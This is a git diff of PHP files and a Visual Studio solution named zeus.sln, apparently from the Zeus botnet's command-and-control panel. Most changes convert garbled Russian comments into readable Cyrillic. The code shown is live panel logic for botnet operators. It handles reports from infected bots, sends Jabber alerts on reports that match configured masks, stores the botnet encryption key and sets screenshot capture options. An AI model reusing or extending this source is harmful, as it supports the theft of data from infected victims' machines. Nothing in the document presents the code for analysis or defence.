    '); define('THEME_LIST_TITLE', '{TEXT}'); @@ -148,20 +148,20 @@ define('THEME_LIST_ANCHOR_BLANK', '{TEXT}'); /////////////////////////////////////////////////////////////////////////////////////////////////// -// Управление темой. +// Управление темой. /////////////////////////////////////////////////////////////////////////////////////////////////// /* - Начало вывода РєРѕРґР°. + Начало вывода кода. - IN $subtitle - string, подзаголовок страницы. - IN $js_script - string, допольнителный JavaScript СЃРєСЂРёРїС‚, или 0, если РѕРЅ РЅРµ нужен. - IN $popup_menu - string, данные для всплывающего меню, или 0, если РѕРЅРѕ РЅРµ нужно. - IN $body_events - string, JavaScript-события для документа, или 0, если РѕРЅРѕ РЅРµ нужно. + IN $subtitle - string, подзаголовок страницы. + IN $js_script - string, допольнителный JavaScript скрипт, или 0, если он не нужен. + IN $popup_menu - string, данные для всплывающего меню, или 0, если оно не нужно. + IN $body_events - string, JavaScript-события для документа, или 0, если оно не нужно. */ function ThemeBegin($subtitle, $js_script, $popup_menu, $body_events) { - //Добавление JavaScript. + //Добавление JavaScript. $javascript = ''; $body_js_events = $body_events === 0 ? '' : $body_events; @@ -172,7 +172,7 @@ function ThemeBegin($subtitle, $js_script, $popup_menu, $body_events) $body_js_events .= ' onclick="jsmHideLastMenu()"'; } - //Добавление главного меню. + //Добавление главного меню. $mainmenu = ''; foreach($GLOBALS['mainMenu'] as &$item) { @@ -190,7 +190,7 @@ function ThemeBegin($subtitle, $js_script, $popup_menu, $body_events) } /* - Конец вывода РєРѕРґР°. + Конец вывода кода. */ function ThemeEnd() { @@ -198,17 +198,17 @@ function ThemeEnd() } /* - Вывода РєРѕРґР° для небольших страниц. + Вывода кода для небольших страниц. - IN $subtitle - string, подзаголовок страницы. - IN $data - string, содержимое сраницы. - IN $js_script - string, допольнителный JavaScript СЃРєСЂРёРїС‚, или 0, если РѕРЅ РЅРµ нужен. - IN $popup_menu - string, данные для всплывающего меню, или 0, если РѕРЅРѕ РЅРµ нужено. - IN $body_events - string, JavaScript-события для документа, или 0, если РѕРЅРѕ РЅРµ нужно. + IN $subtitle - string, подзаголовок страницы. + IN $data - string, содержимое сраницы. + IN $js_script - string, допольнителный JavaScript скрипт, или 0, если он не нужен. + IN $popup_menu - string, данные для всплывающего меню, или 0, если оно не нужено. + IN $body_events - string, JavaScript-события для документа, или 0, если оно не нужно. */ function themeSmall($subtitle, $data, $js_script, $popup_menu, $body_events) { - //Добавление JavaScript. + //Добавление JavaScript. $javascript = ''; $body_js_events = $body_events === 0 ? '' : $body_events; @@ -228,7 +228,7 @@ function themeSmall($subtitle, $data, $js_script, $popup_menu, $body_events) } /* - Вывод сообщения РѕР± MySQL ошибки Рё выход. + Вывод сообщения об MySQL ошибки и выход. */ function ThemeMySQLError() { @@ -237,9 +237,9 @@ function ThemeMySQLError() } /* - Вывод сообщения РѕР± ошибки Рё выход. + Вывод сообщения об ошибки и выход. - IN $string - string, сообщение РѕР± ошибки. + IN $string - string, сообщение об ошибки. */ function ThemeFatalError($string) { @@ -249,15 +249,15 @@ function ThemeFatalError($string) /* - Вывод СЃРїРёСЃРєР° номеров страниц. + Вывод списка номеров страниц. - IN $list - array, массив массивов номеров страниц. - IN $js_to_first - string, JavaScript РЅР° первую страницу, или 0. - IN $js_to_prev - string, JavaScript РЅР° предидущию страницу, или 0. - IN $js_to_last - string, JavaScript РЅР° последнию страницу, или 0. - IN $js_to_next - string, JavaScript РЅР° следующию страницу, или 0. + IN $list - array, массив массивов номеров страниц. + IN $js_to_first - string, JavaScript на первую страницу, или 0. + IN $js_to_prev - string, JavaScript на предидущию страницу, или 0. + IN $js_to_last - string, JavaScript на последнию страницу, или 0. + IN $js_to_next - string, JavaScript на следующию страницу, или 0. - Return - string, СЃРїРёСЃРѕРє номеров страниц. + Return - string, список номеров страниц. */ function themePageList($list, $js_to_first, $js_to_prev, $js_to_last, $js_to_next) { diff --git a/temp/server/php/reports_db.lng.en.php b/temp/server/php/reports_db.lng.en.php index 757a5e7..f6e9dba 100644 --- a/temp/server/php/reports_db.lng.en.php +++ b/temp/server/php/reports_db.lng.en.php @@ -3,7 +3,7 @@ define('LNG_REPORTS_BOTSACTION', 'Bots action:'); -//Фильтр. +//Фильтр. define('LNG_REPORTS_FILTER_TITLE', 'Filter'); define('LNG_REPORTS_FILTER_DATE_P1', 'Search from date (dd.mm):'); diff --git a/temp/server/php/reports_files.lng.en.php b/temp/server/php/reports_files.lng.en.php index eef09f7..c40fb4e 100644 --- a/temp/server/php/reports_files.lng.en.php +++ b/temp/server/php/reports_files.lng.en.php @@ -8,7 +8,7 @@ define('LNG_REPORTS_FILESACTION_REMOVE_EDIR', 'Failed to remove directory "%s".'); define('LNG_REPORTS_FILESACTION_Q', 'You really want execute this action?'); -//Фильтр. +//Фильтр. define('LNG_REPORTS_FILTER_TITLE', 'Search'); define('LNG_REPORTS_FILTER_BOTS', 'Bots:'); diff --git a/temp/server/php/reports_jn.lng.ru.php b/temp/server/php/reports_jn.lng.ru.php index 5e4092c..057edf7 100644 --- a/temp/server/php/reports_jn.lng.ru.php +++ b/temp/server/php/reports_jn.lng.ru.php @@ -1,19 +1,19 @@ \ No newline at end of file diff --git a/temp/server/php/reports_jn.php b/temp/server/php/reports_jn.php index d7c8388..d83793e 100644 --- a/temp/server/php/reports_jn.php +++ b/temp/server/php/reports_jn.php @@ -4,7 +4,7 @@ $errors = array(); /////////////////////////////////////////////////////////////////////////////////////////////////// -// Обработка данных. +// Обработка данных. /////////////////////////////////////////////////////////////////////////////////////////////////// $is_post = strcmp($_SERVER['REQUEST_METHOD'], 'POST') === 0 ? true : false; @@ -12,7 +12,7 @@ $jn_enabled = (isset($_POST['enable']) && $_POST['enable'] == 1) ? 1 : ($is_post ? 0 : $config['reports_jn']); $jn_password = isset($_POST['password']) ? $_POST['password'] : $config['reports_jn_pass']; -//Проверяем отправителя. +//Проверяем отправителя. if(!isset($_POST['account'])) { $jn_account = $config['reports_jn_account']; @@ -25,7 +25,7 @@ $jn_server = ''; $jn_port = 5222; - //Получаем РІСЃРµ компоненты акканута. + //Получаем все компоненты акканута. $m = explode('@', $_POST['account']); if(count($m) != 2 || strlen($m[0]) < 1 || strlen($m[1]) < 1)$errors[] = LNG_REPORTS_E1; else @@ -47,7 +47,7 @@ } } -//Проверяем получателя. +//Проверяем получателя. if(isset($_POST['to'])) { if(count(($m = explode('@', $_POST['to']))) != 2 || strlen($m[0]) < 1 || strlen($m[1]) < 1)$errors[] = LNG_REPORTS_E2; @@ -55,17 +55,17 @@ } else $jn_to = $config['reports_jn_to'];; -//Обрабатываем маски. +//Обрабатываем маски. $jn_masks = isset($_POST['masks']) ? $_POST['masks'] : str_replace("\x01", "\n", $config['reports_jn_list']); $jn_masks = trim(str_replace("\r\n", "\n", $jn_masks)); -//Проверяем СЃРєСЂРёРїС‚. +//Проверяем скрипт. $jn_script = trim(isset($_POST['script']) ? $_POST['script'] : $config['reports_jn_script']); -//Проверяем лог-файл. +//Проверяем лог-файл. $jn_logfile = trim(str_replace('\\', '/', trim(isset($_POST['logfile']) ? $_POST['logfile'] : $config['reports_jn_logfile'])), '/'); -//Сохранение параметров. +//Сохранение параметров. if($is_post && count($errors) == 0) { $updateList['reports_jn'] = $jn_enabled ? 1 : 0; @@ -87,25 +87,25 @@ } /////////////////////////////////////////////////////////////////////////////////////////////////// -// Вывод. +// Вывод. /////////////////////////////////////////////////////////////////////////////////////////////////// ThemeBegin(LNG_REPORTS, 0, 0, 0); -//Вывод ошибок. +//Вывод ошибок. if(count($errors) > 0) { echo THEME_STRING_FORM_ERROR_1_BEGIN; foreach($errors as $r)echo $r.THEME_STRING_NEWLINE; echo THEME_STRING_FORM_ERROR_1_END; } -//Вывод сообщений. +//Вывод сообщений. else if(isset($_GET['u'])) { echo THEME_STRING_FORM_SUCCESS_1_BEGIN.LNG_REPORTS_UPDATED.THEME_STRING_NEWLINE.THEME_STRING_FORM_SUCCESS_1_END; } -//Вывод формы. +//Вывод формы. echo str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('options', QUERY_STRING_HTML, ''), THEME_FORMPOST_BEGIN), str_replace('{WIDTH}', 'auto', THEME_DIALOG_BEGIN). diff --git a/temp/server/php/stats_main.lng.ru.php b/temp/server/php/stats_main.lng.ru.php index 64e486d..60a5575 100644 --- a/temp/server/php/stats_main.lng.ru.php +++ b/temp/server/php/stats_main.lng.ru.php @@ -1,17 +1,17 @@ \ No newline at end of file diff --git a/temp/server/php/stats_os.lng.ru.php b/temp/server/php/stats_os.lng.ru.php index 9920663..97b471f 100644 --- a/temp/server/php/stats_os.lng.ru.php +++ b/temp/server/php/stats_os.lng.ru.php @@ -1,5 +1,5 @@ \ No newline at end of file diff --git a/temp/server/php/stats_os.php b/temp/server/php/stats_os.php index bd50453..3c3bd3b 100644 --- a/temp/server/php/stats_os.php +++ b/temp/server/php/stats_os.php @@ -1,16 +1,16 @@ 0) @@ -30,7 +30,7 @@ $i++; } } -//Ошибка. +//Ошибка. else { $osList .= diff --git a/temp/server/php/sys_info.php b/temp/server/php/sys_info.php index e7c3dd7..ccc927c 100644 --- a/temp/server/php/sys_info.php +++ b/temp/server/php/sys_info.php @@ -7,7 +7,7 @@ echo str_replace('{WIDTH}', 'auto', THEME_LIST_BEGIN). -//Версии Р СџР С›. +//Версии ПО. str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_SYS_VERSIONS), THEME_LIST_TITLE). THEME_LIST_ROW_BEGIN. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', 'Operation system:'), THEME_LIST_ITEM_LTEXT_U1). @@ -34,7 +34,7 @@ str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx(mysql_get_client_info())), THEME_LIST_ITEM_LTEXT_U2). THEME_LIST_ROW_END. -//Пути. +//Пути. str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_SYS_PATHS), THEME_LIST_TITLE). THEME_LIST_ROW_BEGIN. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', 'Local path:'), THEME_LIST_ITEM_LTEXT_U1). @@ -45,7 +45,7 @@ str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($dir.'/'.$config['reports_path'])), THEME_LIST_ITEM_LTEXT_U2). THEME_LIST_ROW_END. -//Клиент. +//Клиент. str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_SYS_CLIENT), THEME_LIST_TITLE). THEME_LIST_ROW_BEGIN. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', 'User agent:'), THEME_LIST_ITEM_LTEXT_U1). diff --git a/temp/server/php/sys_options.lng.ru.php b/temp/server/php/sys_options.lng.ru.php index 2161841..eab6ce0 100644 --- a/temp/server/php/sys_options.lng.ru.php +++ b/temp/server/php/sys_options.lng.ru.php @@ -1,21 +1,21 @@ \ No newline at end of file diff --git a/temp/server/php/sys_options.php b/temp/server/php/sys_options.php index d2ade88..69ac5ff 100644 --- a/temp/server/php/sys_options.php +++ b/temp/server/php/sys_options.php @@ -4,7 +4,7 @@ $errors = array(); /////////////////////////////////////////////////////////////////////////////////////////////////// -// Обработка данных. +// Обработка данных. /////////////////////////////////////////////////////////////////////////////////////////////////// $is_post = strcmp($_SERVER['REQUEST_METHOD'], 'POST') === 0 ? true : false; @@ -31,7 +31,7 @@ $botnet_cryptkey = $_POST['botnet_cryptkey']; } -//Сохранение параметров. +//Сохранение параметров. if($is_post && count($errors) == 0) { $updateList['reports_path'] = $reports_path; @@ -50,25 +50,25 @@ } /////////////////////////////////////////////////////////////////////////////////////////////////// -// Вывод. +// Вывод. /////////////////////////////////////////////////////////////////////////////////////////////////// ThemeBegin(LNG_SYS, 0, 0, 0); -//Вывод ошибок. +//Вывод ошибок. if(count($errors) > 0) { echo THEME_STRING_FORM_ERROR_1_BEGIN; foreach($errors as $r)echo $r.THEME_STRING_NEWLINE; echo THEME_STRING_FORM_ERROR_1_END; } -//Вывод сообщений. +//Вывод сообщений. else if(isset($_GET['u'])) { echo THEME_STRING_FORM_SUCCESS_1_BEGIN.LNG_SYS_UPDATED.THEME_STRING_NEWLINE.THEME_STRING_FORM_SUCCESS_1_END; } -//Вывод формы. +//Вывод формы. echo str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('options', QUERY_STRING_HTML, ''), THEME_FORMPOST_BEGIN), str_replace('{WIDTH}', 'auto', THEME_DIALOG_BEGIN). diff --git a/temp/server/php/sys_user.lng.ru.php b/temp/server/php/sys_user.lng.ru.php index aa1b309..23e23ef 100644 --- a/temp/server/php/sys_user.lng.ru.php +++ b/temp/server/php/sys_user.lng.ru.php @@ -1,22 +1,22 @@ \ No newline at end of file diff --git a/temp/server/php/sys_user.php b/temp/server/php/sys_user.php index db13baa..ba14cd3 100644 --- a/temp/server/php/sys_user.php +++ b/temp/server/php/sys_user.php @@ -4,15 +4,15 @@ define('DEFAULT_SS_TYPE', 'jpeg'); $screenshotTypes = array('jpeg' => 'jpeg', 'gif' => 'gif', 'png' => 'png'); -$llist = array('en' => 'English', 'ru' => 'Russian (Р СѓСЃСЃРєРёР№)'); +$llist = array('en' => 'English', 'ru' => 'Russian (Русский)'); $errors = array(); /////////////////////////////////////////////////////////////////////////////////////////////////// -// Обработка данных. +// Обработка данных. /////////////////////////////////////////////////////////////////////////////////////////////////// $q = ''; -//Обработка основных данных. +//Обработка основных данных. $language = strtolower(isset($_POST['language'], $llist[$_POST['language']]) ? $_POST['language'] : $userData['language']); if(!isset($llist[$language]))$language = DEFAULT_LANGUAGE; $q .= "language='".addslashes($language)."'"; @@ -25,7 +25,7 @@ if($screenshotQuality <= 0 || $screenshotQuality > 100)$screenshotQuality = 30; $q .= ", ss_quality='".addslashes($screenshotQuality)."'"; -//Обработка пароля. +//Обработка пароля. if(isset($_POST['passold'], $_POST['pass1'], $_POST['pass2']) && strlen($_POST['passold']) > 0 && ($l = strlen($_POST['pass1'])) > 0) { if(strcasecmp(md5($_POST['passold']), $userData['pass']) !== 0)$errors[] = LNG_SYS_PASSWORD_E1; @@ -34,7 +34,7 @@ else $q .= ", pass='".addslashes(md5($_POST['pass1']))."'"; } -//Сохранение параметров. +//Сохранение параметров. if(strcmp($_SERVER['REQUEST_METHOD'], 'POST') === 0 && count($errors) == 0) { if(!mysqlQueryEx('cp_users', "UPDATE cp_users SET {$q} WHERE id='{$userData['id']}' LIMIT 1"))$errors[] = mysqlErrorEx(); @@ -46,10 +46,10 @@ } /////////////////////////////////////////////////////////////////////////////////////////////////// -// Вывод. +// Вывод. /////////////////////////////////////////////////////////////////////////////////////////////////// -//Заполнение СЃРїРёСЃРєРѕРІ. +//Заполнение списков. $languages = ''; foreach($llist as $k => $v) { @@ -70,20 +70,20 @@ ThemeBegin(LNG_SYS, 0, 0, 0); -//Вывод ошибок. +//Вывод ошибок. if(count($errors) > 0) { echo THEME_STRING_FORM_ERROR_1_BEGIN; foreach($errors as $r)echo $r.THEME_STRING_NEWLINE; echo THEME_STRING_FORM_ERROR_1_END; } -//Вывод сообщений. +//Вывод сообщений. else if(isset($_GET['u'])) { echo THEME_STRING_FORM_SUCCESS_1_BEGIN.LNG_SYS_UPDATED.THEME_STRING_NEWLINE.THEME_STRING_FORM_SUCCESS_1_END; } -//Вывод формы. +//Вывод формы. echo str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('options', QUERY_STRING_HTML, ''), THEME_FORMPOST_BEGIN), str_replace('{WIDTH}', 'auto', THEME_DIALOG_BEGIN). diff --git a/zeus.sln b/zeus.sln index 5ec436a..ef6c461 100644 --- a/zeus.sln +++ b/zeus.sln @@ -1,4 +1,4 @@ -п»ї + Microsoft Visual Studio Solution File, Format Version 11.00 # Visual Studio 2010 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "builder", "source\builder\builder.vcxproj", "{7951A7DB-E80E-4087-98E5-96131B921466}"